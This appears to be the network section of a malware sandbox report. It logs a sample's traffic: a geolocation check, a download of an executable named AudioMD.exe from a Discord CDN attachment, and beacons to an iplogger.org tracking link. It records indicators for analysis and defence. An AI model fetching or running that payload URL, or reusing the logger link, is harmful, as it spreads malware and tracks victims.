Network Analysis

GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sat, 21 Aug 2021 03:53:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 347 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-cache Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iw0bcks%2Fze2ftaNLqXI0vWEw%2FIY0xikKBqyQTf0n%2FeNpdSScMSu%2B%2FsjAw79Oz5gzv9xy90R%2F3Sdr3d9QjS5ypZeX2J8gql%2BjGWHQWgPUvRrjyE0%2FSADckB%2Filg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 6820ea88db4e323e-LAX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

GET /attachments/878150731209781310/878336470941847652/AudioMD.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sat, 21 Aug 2021 03:53:50 GMT Content-Type: application/x-msdos-program Content-Length: 1214728 Connection: keep-alive CF-Ray: 6820eaacce3061a7-ICN Accept-Ranges: bytes Age: 28629 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=AudioMD.exe ETag: "04a571f97551cafab9847b1211c250b2" Expires: Sun, 21 Aug 2022 03:53:50 GMT Last-Modified: Fri, 20 Aug 2021 17:55:33 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1629482133454371 x-goog-hash: crc32c=o59alQ== x-goog-hash: md5=BKVx+XVRyvq5hHsSEcJQsg== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1214728 X-GUploader-UploadID: ADPycduy6_ANYytK3wxrHmG7_OshAR5kqk-yjtgXrTAGCrgQ4BL0Sg7ngs8eG7mA9bpfClxNNw_tct4iQeLdYWIh9jdlLHTPqg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5Gp5lxHc8len%2B%2Bg2O4PQonw9YPyscgddUKq0tkCEjcd5Jl3UGWlwck8JJVJA5uTfAOoHkQ67X%2F3gzHsKC79g2GfoNVR6H4bgGH1qBpii8g3e8ipiVHTwQbuKQ7Iwg1nyhoyXnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /1m2Kd7 HTTP/1.1 Connection: Keep-Alive MySpecialHeder: whatever User-Agent: Run Cache-Control: no-cache Host: iplogger.org

HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Aug 2021 03:54:36 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=i1e7c1nij57j5rqf6fts5cd250; path=/; HttpOnly Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249530115; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:01 GMT Answers: whoami: e1a815077ee94c4520390051867c5be861bab86db55e71ed7e138238169a4475 Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /1m2Kd7 HTTP/1.1 Content-Type: text/html MySpecialHeder: whatever User-Agent: Run Host: iplogger.org Cache-Control: no-cache

HTTP/1.1 301 Moved Permanently Server: nginx Date: Sat, 21 Aug 2021 03:54:34 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://iplogger.org/1m2Kd7 Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Thu, 01 Jan 1970 00:00:01 GMT X-Frame-Options: DENY